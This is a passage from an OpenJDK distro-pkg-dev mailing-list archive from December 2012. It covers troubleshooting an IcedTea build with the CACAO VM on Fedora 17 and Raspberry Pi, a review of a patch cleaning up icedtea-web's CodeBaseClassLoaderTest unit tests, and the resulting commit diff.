32bit x86 platform, since it's much faster. Until that can be accomplished, I don't see the point in compiling for ARM. Just to restate, I can successfully build icedtea7 on 32bit x86 (Fedora 17), but cannot if I include CACAO. >Regarding the Raspberry, do you run a armhf distro on it? If yes, >you'll have to wait a little while longer, because I'm only just in >the progress of working armhf work. I'm not currently used the armhf distro, but I believe it is just starting to peek its head around the corner at Seneca College. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121218/9848f610/attachment.html From aph at redhat.com Tue Dec 18 06:09:20 2012 From: aph at redhat.com (Andrew Haley) Date: Tue, 18 Dec 2012 14:09:20 +0000 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> Message-ID: <50D07910.7050500@redhat.com> On 12/18/2012 01:03 PM, Greg Johnson wrote: >> I ran a build of icedtea7 on my SheevaPlug (512MB RAM, Fedora 17 >> as well) a while ago without a problem, IIRC. I'll try to do it >> again with current versions and report the results. This will take >> a while, though. > > Was this a build with CACAO? That seems to be the problem....32bit builds with CACAO. > > I understand that your SheevaPlug will take a long time. I initially > attempted the build with a Raspberry Pi, and it took two weeks > before I reached the failure point. That's why I've decided that I > won't attempt it again until I can successfully build CACAO on a > 32bit x86 platform, since it's much faster. Until that can be > accomplished, I don't see the point in compiling for ARM. Is there some special reason you need CACAO? Andrew. From jvanek at redhat.com Tue Dec 18 06:34:40 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Tue, 18 Dec 2012 15:34:40 +0100 Subject: [rfc] icedtea-web minor fix for two unittests In-Reply-To: <50CF4F61.3090004@redhat.com> References: <50CF36E6.3060606@redhat.com> <50CF4F61.3090004@redhat.com> Message-ID: <50D07F00.50503@redhat.com> On 12/17/2012 05:59 PM, Adam Domurad wrote: > On 12/17/2012 10:14 AM, Jiri Vanek wrote: >> This tests were wrongly adapted for lates ITW. And so they were incorrectly failing. This should fix them. >> >> J. > > Thanks for looking into it! > >> >> diff -r 1fe2a4f7981f tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java >> --- a/tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java Tue Dec 11 20:32:26 2012 +0100 >> +++ b/tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java Mon Dec 17 16:09:22 2012 +0100 >> @@ -68,6 +68,24 @@ >> throw new RuntimeException(ex); >> } >> } >> + >> + private class DummyJNLPFile extends JNLPFile{ >> + >> + @Override >> + public ResourcesDesc getResources() { >> + return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); >> + } >> + >> + @Override >> + public URL getCodeBase() { >> + return CODEBASE_URL; >> + } >> + >> + @Override >> + public SecurityDesc getSecurity() { >> + return new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, null); >> + } >> + }; > > +1 > >> private static final String isWSA = "isWebstartApplication"; >> >> static void setStaticField(Field field, Object newValue) throws Exception { >> @@ -97,47 +115,73 @@ >> public void testResourceLoadSuccessCachingApplication() throws Exception { >> setWSA(); >> //we are testing new resource not in cache >> - testResourceLoadSuccessCaching("Main.class"); >> + testResourceLoadSuccessCaching2("Main.class"); > > Just a nitpick, > > testResourceLoadSuccessCachingApplication calls testResourceLoadSuccessCaching2 > but testResourceLoadSuccessCachingApplication2 calls testResourceLoadSuccessCaching1, the mismatch is a little confusing > > >> } >> >> @Test >> public void testResourceLoadSuccessCachingApplet() throws Exception { >> setApplet(); >> //so new resource again not in cache >> - testResourceLoadSuccessCaching("HTMLPanel.java"); >> + testResourceLoadSuccessCaching2("Main.class"); >> + } >> + >> + @Test >> + public void testResourceLoadSuccessCachingApplication2() throws Exception { >> + setWSA(); >> + //we are testing new resource not in cache >> + testResourceLoadSuccessCaching1("HTMLPanel.java"); >> } >> >> - public void testResourceLoadSuccessCaching(String r) throws Exception { >> - JNLPFile dummyJnlpFile = new JNLPFile() { >> + @Test >> + public void testResourceLoadSuccessCachingApplet2() throws Exception { >> + setApplet(); >> + //so new resource again not in cache >> + testResourceLoadSuccessCaching1("HTMLPanel.java"); >> + } >> >> - @Override >> - public ResourcesDesc getResources() { >> - return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); >> - } >> + public void testResourceLoadSuccessCaching1(String r) throws Exception { >> + JNLPFile dummyJnlpFile = new DummyJNLPFile(); >> >> - @Override >> - public URL getCodeBase() { >> - return CODEBASE_URL; >> - } >> - >> - @Override >> - public SecurityDesc getSecurity() { >> - return new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, null); >> - } >> - }; >> JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, null); >> CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); >> >> long startTime, stopTime; >> >> startTime = System.nanoTime(); >> - classLoader.findResource("net/sourceforge/jnlp/about/"+r); >> + URL u1 = classLoader.findResource("net/sourceforge/jnlp/about/"+r); >> + Assert.assertNull(u1); >> stopTime = System.nanoTime(); >> long timeOnFirstTry = stopTime - startTime; >> ServerAccess.logErrorReprint("" + timeOnFirstTry); >> >> startTime = System.nanoTime(); >> - classLoader.findResource("net/sourceforge/jnlp/about/"+r); >> + URL u2 = classLoader.findResource("net/sourceforge/jnlp/about/"+r); >> + Assert.assertNull(u2); >> + stopTime = System.nanoTime(); >> + long timeOnSecondTry = stopTime - startTime; >> + ServerAccess.logErrorReprint("" + timeOnSecondTry); >> + >> + assertTrue(timeOnSecondTry< (timeOnFirstTry / 10)); >> + } >> + >> + public void testResourceLoadSuccessCaching2(String r) throws Exception { > > I dislike numerically distinguished names strongly :-) > I had to do a diff to be sure of the difference here. It seems there should just be one function (equivalent to testResourceLoadSuccessCaching2), and the "net/sourceforge/jnlp/about/" be added to the parameter upon usage. > >> + JNLPFile dummyJnlpFile = new DummyJNLPFile(); >> + >> + JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, null); >> + CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); >> + >> + long startTime, stopTime; >> + >> + startTime = System.nanoTime(); >> + URL u1 = classLoader.findResource(r); >> + Assert.assertNull(u1); >> + stopTime = System.nanoTime(); >> + long timeOnFirstTry = stopTime - startTime; >> + ServerAccess.logErrorReprint("" + timeOnFirstTry); >> + >> + startTime = System.nanoTime(); >> + URL u2 = classLoader.findResource(r); >> + Assert.assertNull(u2); >> stopTime = System.nanoTime(); >> long timeOnSecondTry = stopTime - startTime; >> ServerAccess.logErrorReprint("" + timeOnSecondTry); >> @@ -161,23 +205,7 @@ >> } >> >> public void testResourceLoadFailureCaching() throws Exception { >> - JNLPFile dummyJnlpFile = new JNLPFile() { >> - >> - @Override >> - public ResourcesDesc getResources() { >> - return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); >> - } >> - >> - @Override >> - public URL getCodeBase() { >> - return CODEBASE_URL; >> - } >> - >> - @Override >> - public SecurityDesc getSecurity() { >> - return new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, null); >> - } >> - }; >> + JNLPFile dummyJnlpFile = new DummyJNLPFile(); >> >> JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, null); >> CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); >> @@ -212,24 +240,8 @@ >> } >> >> public void testParentClassLoaderIsAskedForClasses() throws Exception { >> - JNLPFile dummyJnlpFile = new JNLPFile() { >> - >> - @Override >> - public ResourcesDesc getResources() { >> - return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); >> - } >> - >> - @Override >> - public URL getCodeBase() { >> - return CODEBASE_URL; >> - } >> - >> - @Override >> - public SecurityDesc getSecurity() { >> - return new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, null); >> - } >> - }; >> - >> + JNLPFile dummyJnlpFile = new DummyJNLPFile(); >> + >> final boolean[] parentWasInvoked = new boolean[1]; >> >> JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, null) { > > Please also rid of the duplicated dummy in testNullFileSecurityDesc. Atatched even more fixed and cleaned version > > -Adam -------------- next part -------------- A non-text attachment was scrubbed... Name: fixedUnittest2.patch Type: text/x-patch Size: 10714 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121218/a21a6344/fixedUnittest2.patch From adomurad at redhat.com Tue Dec 18 06:45:35 2012 From: adomurad at redhat.com (Adam Domurad) Date: Tue, 18 Dec 2012 09:45:35 -0500 Subject: [rfc] icedtea-web minor fix for two unittests In-Reply-To: <50D07F00.50503@redhat.com> References: <50CF36E6.3060606@redhat.com> <50CF4F61.3090004@redhat.com> <50D07F00.50503@redhat.com> Message-ID: <50D0818F.3020602@redhat.com> On 12/18/2012 09:34 AM, Jiri Vanek wrote: > On 12/17/2012 05:59 PM, Adam Domurad wrote: >> On 12/17/2012 10:14 AM, Jiri Vanek wrote: >>> This tests were wrongly adapted for lates ITW. And so they were >>> incorrectly failing. This should fix them. >>> >>> J. >> >> Thanks for looking into it! >> >>> >>> diff -r 1fe2a4f7981f >>> tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java >>> --- >>> a/tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java >>> Tue Dec 11 20:32:26 2012 +0100 >>> +++ >>> b/tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java >>> Mon Dec 17 16:09:22 2012 +0100 >>> @@ -68,6 +68,24 @@ >>> throw new RuntimeException(ex); >>> } >>> } >>> + >>> + private class DummyJNLPFile extends JNLPFile{ >>> + >>> + @Override >>> + public ResourcesDesc getResources() { >>> + return new ResourcesDesc(null, new Locale[0], new >>> String[0], new String[0]); >>> + } >>> + >>> + @Override >>> + public URL getCodeBase() { >>> + return CODEBASE_URL; >>> + } >>> + >>> + @Override >>> + public SecurityDesc getSecurity() { >>> + return new SecurityDesc(this, >>> SecurityDesc.SANDBOX_PERMISSIONS, null); >>> + } >>> + }; >> >> +1 >> >>> private static final String isWSA = "isWebstartApplication"; >>> >>> static void setStaticField(Field field, Object newValue) >>> throws Exception { >>> @@ -97,47 +115,73 @@ >>> public void testResourceLoadSuccessCachingApplication() throws >>> Exception { >>> setWSA(); >>> //we are testing new resource not in cache >>> - testResourceLoadSuccessCaching("Main.class"); >>> + testResourceLoadSuccessCaching2("Main.class"); >> >> Just a nitpick, >> >> testResourceLoadSuccessCachingApplication calls >> testResourceLoadSuccessCaching2 >> but testResourceLoadSuccessCachingApplication2 calls >> testResourceLoadSuccessCaching1, the mismatch is a little confusing >> >> >>> } >>> >>> @Test >>> public void testResourceLoadSuccessCachingApplet() throws >>> Exception { >>> setApplet(); >>> //so new resource again not in cache >>> - testResourceLoadSuccessCaching("HTMLPanel.java"); >>> + testResourceLoadSuccessCaching2("Main.class"); >>> + } >>> + >>> + @Test >>> + public void testResourceLoadSuccessCachingApplication2() throws >>> Exception { >>> + setWSA(); >>> + //we are testing new resource not in cache >>> + testResourceLoadSuccessCaching1("HTMLPanel.java"); >>> } >>> >>> - public void testResourceLoadSuccessCaching(String r) throws >>> Exception { >>> - JNLPFile dummyJnlpFile = new JNLPFile() { >>> + @Test >>> + public void testResourceLoadSuccessCachingApplet2() throws >>> Exception { >>> + setApplet(); >>> + //so new resource again not in cache >>> + testResourceLoadSuccessCaching1("HTMLPanel.java"); >>> + } >>> >>> - @Override >>> - public ResourcesDesc getResources() { >>> - return new ResourcesDesc(null, new Locale[0], new >>> String[0], new String[0]); >>> - } >>> + public void testResourceLoadSuccessCaching1(String r) throws >>> Exception { >>> + JNLPFile dummyJnlpFile = new DummyJNLPFile(); >>> >>> - @Override >>> - public URL getCodeBase() { >>> - return CODEBASE_URL; >>> - } >>> - >>> - @Override >>> - public SecurityDesc getSecurity() { >>> - return new SecurityDesc(this, >>> SecurityDesc.SANDBOX_PERMISSIONS, null); >>> - } >>> - }; >>> JNLPClassLoader parent = new >>> JNLPClassLoader(dummyJnlpFile, null); >>> CodeBaseClassLoader classLoader = new >>> CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); >>> >>> long startTime, stopTime; >>> >>> startTime = System.nanoTime(); >>> - classLoader.findResource("net/sourceforge/jnlp/about/"+r); >>> + URL u1 = >>> classLoader.findResource("net/sourceforge/jnlp/about/"+r); >>> + Assert.assertNull(u1); >>> stopTime = System.nanoTime(); >>> long timeOnFirstTry = stopTime - startTime; >>> ServerAccess.logErrorReprint("" + timeOnFirstTry); >>> >>> startTime = System.nanoTime(); >>> - classLoader.findResource("net/sourceforge/jnlp/about/"+r); >>> + URL u2 = >>> classLoader.findResource("net/sourceforge/jnlp/about/"+r); >>> + Assert.assertNull(u2); >>> + stopTime = System.nanoTime(); >>> + long timeOnSecondTry = stopTime - startTime; >>> + ServerAccess.logErrorReprint("" + timeOnSecondTry); >>> + >>> + assertTrue(timeOnSecondTry< (timeOnFirstTry / 10)); >>> + } >>> + >>> + public void testResourceLoadSuccessCaching2(String r) throws >>> Exception { >> >> I dislike numerically distinguished names strongly :-) >> I had to do a diff to be sure of the difference here. It seems there >> should just be one function (equivalent to >> testResourceLoadSuccessCaching2), and the >> "net/sourceforge/jnlp/about/" be added to the parameter upon usage. >> >>> + JNLPFile dummyJnlpFile = new DummyJNLPFile(); >>> + >>> + JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, >>> null); >>> + CodeBaseClassLoader classLoader = new >>> CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); >>> + >>> + long startTime, stopTime; >>> + >>> + startTime = System.nanoTime(); >>> + URL u1 = classLoader.findResource(r); >>> + Assert.assertNull(u1); >>> + stopTime = System.nanoTime(); >>> + long timeOnFirstTry = stopTime - startTime; >>> + ServerAccess.logErrorReprint("" + timeOnFirstTry); >>> + >>> + startTime = System.nanoTime(); >>> + URL u2 = classLoader.findResource(r); >>> + Assert.assertNull(u2); >>> stopTime = System.nanoTime(); >>> long timeOnSecondTry = stopTime - startTime; >>> ServerAccess.logErrorReprint("" + timeOnSecondTry); >>> @@ -161,23 +205,7 @@ >>> } >>> >>> public void testResourceLoadFailureCaching() throws Exception { >>> - JNLPFile dummyJnlpFile = new JNLPFile() { >>> - >>> - @Override >>> - public ResourcesDesc getResources() { >>> - return new ResourcesDesc(null, new Locale[0], new >>> String[0], new String[0]); >>> - } >>> - >>> - @Override >>> - public URL getCodeBase() { >>> - return CODEBASE_URL; >>> - } >>> - >>> - @Override >>> - public SecurityDesc getSecurity() { >>> - return new SecurityDesc(this, >>> SecurityDesc.SANDBOX_PERMISSIONS, null); >>> - } >>> - }; >>> + JNLPFile dummyJnlpFile = new DummyJNLPFile(); >>> >>> JNLPClassLoader parent = new >>> JNLPClassLoader(dummyJnlpFile, null); >>> CodeBaseClassLoader classLoader = new >>> CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); >>> @@ -212,24 +240,8 @@ >>> } >>> >>> public void testParentClassLoaderIsAskedForClasses() throws >>> Exception { >>> - JNLPFile dummyJnlpFile = new JNLPFile() { >>> - >>> - @Override >>> - public ResourcesDesc getResources() { >>> - return new ResourcesDesc(null, new Locale[0], new >>> String[0], new String[0]); >>> - } >>> - >>> - @Override >>> - public URL getCodeBase() { >>> - return CODEBASE_URL; >>> - } >>> - >>> - @Override >>> - public SecurityDesc getSecurity() { >>> - return new SecurityDesc(this, >>> SecurityDesc.SANDBOX_PERMISSIONS, null); >>> - } >>> - }; >>> - >>> + JNLPFile dummyJnlpFile = new DummyJNLPFile(); >>> + >>> final boolean[] parentWasInvoked = new boolean[1]; >>> >>> JNLPClassLoader parent = new >>> JNLPClassLoader(dummyJnlpFile, null) { >> >> Please also rid of the duplicated dummy in testNullFileSecurityDesc. > > Atatched even more fixed and cleaned version > Nice. I like it better for sure, go ahead and push. Thanks -Adam From gregjo at yahoo.com Tue Dec 18 07:11:16 2012 From: gregjo at yahoo.com (Greg Johnson) Date: Tue, 18 Dec 2012 07:11:16 -0800 (PST) Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <50D07910.7050500@redhat.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <50D07910.7050500@redhat.com> Message-ID: <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> >Is there some special reason you need CACAO? Performance. I'm working with Java applications on low-powered devices -- currently the Raspberry Pi. Initially I was using the Debian distro, but I'm partial to the Red Hat world. ;-) The Java performance on the Fedora 17 Remix version of Java is very poor compared to the versions available on Debian. The Debian version uses Zero VM (mixed mode). The Fedora version of Zero VM uses interpreted mode. So I had it recommended to me to try Cacao, as it's performance on ARM is reported to be "quite good". It's not available in the Fedora repositories, so I reached out to attempt to build my own. And that has led me to where I'm at now. :-) Have I received poor advice? Is Cacao something I shouldn't be interested in? I guess I could always go back to Debian. :-( -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121218/685b5903/attachment.html From jvanek at icedtea.classpath.org Tue Dec 18 07:13:45 2012 From: jvanek at icedtea.classpath.org (jvanek at icedtea.classpath.org) Date: Tue, 18 Dec 2012 15:13:45 +0000 Subject: /hg/icedtea-web: Cleaned unit-tests in tests/netx/unit/net/sour... Message-ID: changeset 892cc7f39358 in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=892cc7f39358 author: Jiri Vanek date: Tue Dec 18 16:15:01 2012 +0100 Cleaned unit-tests in tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java diffstat: ChangeLog | 13 + tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java | 188 ++++----- 2 files changed, 94 insertions(+), 107 deletions(-) diffs (312 lines): diff -r e04380d3306f -r 892cc7f39358 ChangeLog --- a/ChangeLog Tue Dec 18 13:58:24 2012 +0100 +++ b/ChangeLog Tue Dec 18 16:15:01 2012 +0100 @@ -1,3 +1,16 @@ +2012-12-18 Jiri Vanek + + Cleaned unit-tests: + * tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java: + (DummyJNLPFile) class extracted from its anonymous members to private + named member. Get rid of repeated methods (testResourceLoad*Caching) and + replace it by (testResourceCaching) with parameter of full name and boolean + keeping its expected existence and branching null assert on it. Added tests + (testClassResourceLoadSuccessCachingApplication) and + (testClassResourceLoadSuccessCachingApplet). (testResourceCaching) made + less vulnerable by found classes and more precise. All resources paths + fixed and clarified (to be found or not) + 2012-12-18 Jana Fabrikova * /tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java: diff -r e04380d3306f -r 892cc7f39358 tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java --- a/tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java Tue Dec 18 13:58:24 2012 +0100 +++ b/tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java Tue Dec 18 16:15:01 2012 +0100 @@ -68,6 +68,34 @@ throw new RuntimeException(ex); } } + + private class DummyJNLPFile extends JNLPFile { + + final boolean haveSecurity; + + public DummyJNLPFile(boolean haveSecurity) { + this.haveSecurity = haveSecurity; + } + + @Override + public ResourcesDesc getResources() { + return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); + } + + @Override + public URL getCodeBase() { + return CODEBASE_URL; + } + + @Override + public SecurityDesc getSecurity() { + if (haveSecurity) { + return new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, null); + } else { + return new SecurityDesc(null, SecurityDesc.SANDBOX_PERMISSIONS, null); + } + } + }; private static final String isWSA = "isWebstartApplication"; static void setStaticField(Field field, Object newValue) throws Exception { @@ -94,55 +122,74 @@ "http://mail.openjdk.java.net/pipermail/distro-pkg-dev/2012-March/017626.html", "http://mail.openjdk.java.net/pipermail/distro-pkg-dev/2012-March/017667.html"}) @Test + public void testClassResourceLoadSuccessCachingApplication() throws Exception { + setWSA(); + //we are testing new resource not in cache + testResourceCaching("net/sourceforge/jnlp/about/Main.class"); + } + + @Test + public void testClassResourceLoadSuccessCachingApplet() throws Exception { + setApplet(); + //so new resource again not in cache + testResourceCaching("net/sourceforge/jnlp/about/Main.class"); + } + + @Test public void testResourceLoadSuccessCachingApplication() throws Exception { setWSA(); //we are testing new resource not in cache - testResourceLoadSuccessCaching("Main.class"); + testResourceCaching("net/sourceforge/jnlp/about/resources/about.html"); } @Test public void testResourceLoadSuccessCachingApplet() throws Exception { setApplet(); //so new resource again not in cache - testResourceLoadSuccessCaching("HTMLPanel.java"); + testResourceCaching("net/sourceforge/jnlp/about/resources/about.html"); } - public void testResourceLoadSuccessCaching(String r) throws Exception { - JNLPFile dummyJnlpFile = new JNLPFile() { + public void testResourceCaching(String r) throws Exception { + testResourceCaching(r, true); + } - @Override - public ResourcesDesc getResources() { - return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); - } + public void testResourceCaching(String r, boolean shouldExists) throws Exception { + JNLPFile dummyJnlpFile = new DummyJNLPFile(true); - @Override - public URL getCodeBase() { - return CODEBASE_URL; - } + JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, null); + CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[]{JAR_URL, CODEBASE_URL}, parent); - @Override - public SecurityDesc getSecurity() { - return new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, null); - } - }; - JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, null); - CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); - + int level = 10; + if (shouldExists) { + //for found the "caching" is by internal logic.Always faster, but who knows how... + //to keep the test stabile keep the difference minimal + level = 1; + } long startTime, stopTime; startTime = System.nanoTime(); - classLoader.findResource("net/sourceforge/jnlp/about/"+r); + URL u1 = classLoader.findResource(r); + if (shouldExists) { + Assert.assertNotNull(u1); + } else { + Assert.assertNull(u1); + } stopTime = System.nanoTime(); long timeOnFirstTry = stopTime - startTime; ServerAccess.logErrorReprint("" + timeOnFirstTry); startTime = System.nanoTime(); - classLoader.findResource("net/sourceforge/jnlp/about/"+r); + URL u2 = classLoader.findResource(r); + if (shouldExists) { + Assert.assertNotNull(u1); + } else { + Assert.assertNull(u2); + } stopTime = System.nanoTime(); long timeOnSecondTry = stopTime - startTime; ServerAccess.logErrorReprint("" + timeOnSecondTry); - assertTrue(timeOnSecondTry < (timeOnFirstTry / 10)); + assertTrue(timeOnSecondTry < (timeOnFirstTry / level)); } @Bug(id = {"PR895", @@ -151,52 +198,13 @@ @Test public void testResourceLoadFailureCachingApplication() throws Exception { setWSA(); - testResourceLoadFailureCaching(); + testResourceCaching("net/sourceforge/jnlp/about/Main_FOO_.class", false); } @Test public void testResourceLoadFailureCachingApplet() throws Exception { setApplet(); - testResourceLoadFailureCaching(); - } - - public void testResourceLoadFailureCaching() throws Exception { - JNLPFile dummyJnlpFile = new JNLPFile() { - - @Override - public ResourcesDesc getResources() { - return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); - } - - @Override - public URL getCodeBase() { - return CODEBASE_URL; - } - - @Override - public SecurityDesc getSecurity() { - return new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, null); - } - }; - - JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, null); - CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); - - long startTime, stopTime; - - startTime = System.nanoTime(); - classLoader.findResource("net/sourceforge/jnlp/about/Main_FOO_.class"); - stopTime = System.nanoTime(); - long timeOnFirstTry = stopTime - startTime; - ServerAccess.logErrorReprint("" + timeOnFirstTry); - - startTime = System.nanoTime(); - classLoader.findResource("net/sourceforge/jnlp/about/Main_FOO_.class"); - stopTime = System.nanoTime(); - long timeOnSecondTry = stopTime - startTime; - ServerAccess.logErrorReprint("" + timeOnSecondTry); - - assertTrue(timeOnSecondTry < (timeOnFirstTry / 10)); + testResourceCaching("net/sourceforge/jnlp/about/Main_FOO_.class", false); } @Test @@ -208,27 +216,11 @@ @Test public void testParentClassLoaderIsAskedForClassesApplet() throws Exception { setApplet(); - testResourceLoadFailureCaching(); + testParentClassLoaderIsAskedForClasses(); } public void testParentClassLoaderIsAskedForClasses() throws Exception { - JNLPFile dummyJnlpFile = new JNLPFile() { - - @Override - public ResourcesDesc getResources() { - return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); - } - - @Override - public URL getCodeBase() { - return CODEBASE_URL; - } - - @Override - public SecurityDesc getSecurity() { - return new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, null); - } - }; + JNLPFile dummyJnlpFile = new DummyJNLPFile(true); final boolean[] parentWasInvoked = new boolean[1]; @@ -240,7 +232,7 @@ throw new ClassNotFoundException(name); } }; - CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); + CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[]{JAR_URL, CODEBASE_URL}, parent); try { classLoader.findClass("foo"); assertFalse("should not happen", true); @@ -262,26 +254,10 @@ } public void testNullFileSecurityDesc() throws Exception { - JNLPFile dummyJnlpFile = new JNLPFile() { - - @Override - public ResourcesDesc getResources() { - return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); - } - - @Override - public URL getCodeBase() { - return CODEBASE_URL; - } - - @Override - public SecurityDesc getSecurity() { - return new SecurityDesc(null, SecurityDesc.SANDBOX_PERMISSIONS, null); - } - }; + JNLPFile dummyJnlpFile = new DummyJNLPFile(false); JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, null); - CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); + CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[]{JAR_URL, CODEBASE_URL}, parent); Exception ex = null; try { @@ -296,10 +272,10 @@ //search dor resources is not relvant to null jnlp file for applets ex = null; - URL res=null; + URL res = null; try { //not cached - res=classLoader.findResource("net/sourceforge/jnlp/about/resources/notes.html"); + res = classLoader.findResource("net/sourceforge/jnlp/about/resources/notes.html"); } catch (Exception exx) { ex = exx; ServerAccess.logException(ex); @@ -314,10 +290,10 @@ } ex = null; - res=null; + res = null; try { //now cached - res=classLoader.findResource("net/sourceforge/jnlp/about/resources/notes.html"); + res = classLoader.findResource("net/sourceforge/jnlp/about/resources/notes.html"); } catch (Exception exx) { ex = exx; ServerAccess.logException(ex); @@ -331,6 +307,4 @@ Assert.assertNotNull(res); } } - - } From stefan at complang.tuwien.ac.at Tue Dec 18 07:24:01 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Tue, 18 Dec 2012 16:24:01 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <50D07910.7050500@redhat.com> <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> Message-ID: > Have I received poor advice? Is Cacao something I shouldn't be interested > in? I like your decision, given my affiliation with CACAO ;). But you should give JamVM a try. It's quite fast these days, and AFAIK it also supports JSR292, contrary to cacao. From stefan at complang.tuwien.ac.at Tue Dec 18 07:26:15 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Tue, 18 Dec 2012 16:26:15 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> Message-ID: > Was this a build with CACAO? That seems to be the problem....32bit builds > with CACAO. I thought it was, but it appears my memory did not serve me right. I have a build running at the moment, and I expect it to be a few more hours before I can say something about the outcome. It will definitely not be 2 weeks ;). From aph at redhat.com Tue Dec 18 09:28:15 2012 From: aph at redhat.com (Andrew Haley) Date: Tue, 18 Dec 2012 17:28:15 +0000 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> 